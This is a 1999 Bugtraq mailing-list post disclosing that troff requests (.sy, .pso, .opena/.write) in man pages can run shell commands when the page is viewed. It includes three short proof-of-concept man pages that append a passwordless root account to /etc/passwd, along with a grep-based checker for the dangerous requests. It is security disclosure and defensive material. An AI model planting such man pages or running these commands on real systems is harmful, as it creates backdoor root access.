Bugtraq mailing list archives

Re: Troff dangerous.


From: jen () ETTNET SE (Joel Eriksson)
Date: Sun, 25 Jul 1999 17:33:37 +0200


On Fri, Jul 23, 1999 at 10:16:42PM +0200, Pawel Wilk wrote:

If you want your system safe,
don't look as root
at manual page.

Don't look at them _at_all_ before checking them for dangerous troff-commands
I'd say. In the end of my message I have included the shellfunction I use to
check manual pages before installing them / viewing them..

What this also means is SGID man is probably not a good idea (a method that is
used to avoid having the preformatted manualpage cache, catman, directories
worldwriteable).

A "fix" to the problem would be to introduce a commandswitch for enabling the
dangerous troff-commands, which is what I personally am going to do anyway..

[more info in attachment]
[snip]

Hmm, you forgot the most obvious one. ".sy" executes system() on the specified
command string. After reading Bruce Schneiers latest CRYPTO-GRAM (July 15) where
I read this

  Regarding data-borne diseases:  Actually, as much as I'd like to bash
  Microsoft, they weren't the first.  When Bob Morris' Internet Worm was
  making the rounds about 10 years ago and when the missing semicolon brought
  down Signalling System 7, we were hypothesizing about the possibility of
  data-borne viruses.  I found a neat feature of troff that allows you to
  make a call to a UNIX shell, which would make a virus or worm much easier
  to create.  I don't know how long before we saw it that this nice feature
  was there, but I can imagine that it's been a while.

I examined the troff-manpage on my Linux-system and found three things that
worried me, first the .open/.opena and .write commands, then the .pso command,
and last but not least the "sy request" that is mentioned here

       \n[systat]
              The return value of the system() function executed by the last
              sy request.

I haven't used the troff formatting language myself, so I didn't know what an
"sy request", since it was not documented anywhere in the manpage. :-P But it
was just what you could expect, ".sy <command>".

Well, anyway. Here are the three man-pages I did to add an account to the passwd
in different ways. A little easier to read though, since I skip the copyright
and the normal troff commands..

[[root@hades ~/security/troff]# ls -al
total 5
drwx------   2 root     root         1024 Jul 19 11:25 .
drwx------  23 root     root         1024 Jul 24 20:42 ..
-rw-------   1 root     root           60 Jul 19 11:19 r00t.1
-rw-------   1 root     root           45 Jul 19 11:22 r00t.2
-rw-------   1 root     root           46 Jul 19 11:25 r00t.3
[[root@hades ~/security/troff]#

Notice the dates. Sorry Pawel, I was faster. ;-)

And here are the contents.

r00t.1:
.opena f /etc/passwd
.write f r00t::0:0::/:/bin/sh
.close f

r00t.2:
.sy echo r00t::0:0::/:/bin/sh >> /etc/passwd

r00t.1:
.pso echo r00t::0:0::/:/bin/sh >> /etc/passwd

If you try this on your system, I would suggest either generating a password
or putting a single '*' in the password-field. Generating a password could be
done with

   perl -e 'print crypt "password", "salt"'

if you have perl installed.

"salt" should be a two-character string chosen from the set [a-zA-Z0-9./].

I made the following shellfunction in my .profile (I use bash) to check for
potentially dangerous troff-commands in manualpages:

checkman() {
        grep "^\(\.open\|\.sy\|\.pso\)" $* && echo 'Wewps!' || echo 'OK!'
}

This lets me either specify files on the commandline or pipe the output of
files to the shellfunction (if the manpage is gzip'ed I would like to gunzip -c
it and pipe to "checkman" instead of checking the compressed file ..).

So, all of you who spend time reading source before compiling programs from
untrusted sources, using "strings" and "strace" or "truss" on binaries that
does not come with source and so on to check for trojans (I am one of those
persons:-), remember to check the man-pages too.. ;-)

--
Joel Eriksson                                                  jen () ettnet se
Security Consultant



Current thread: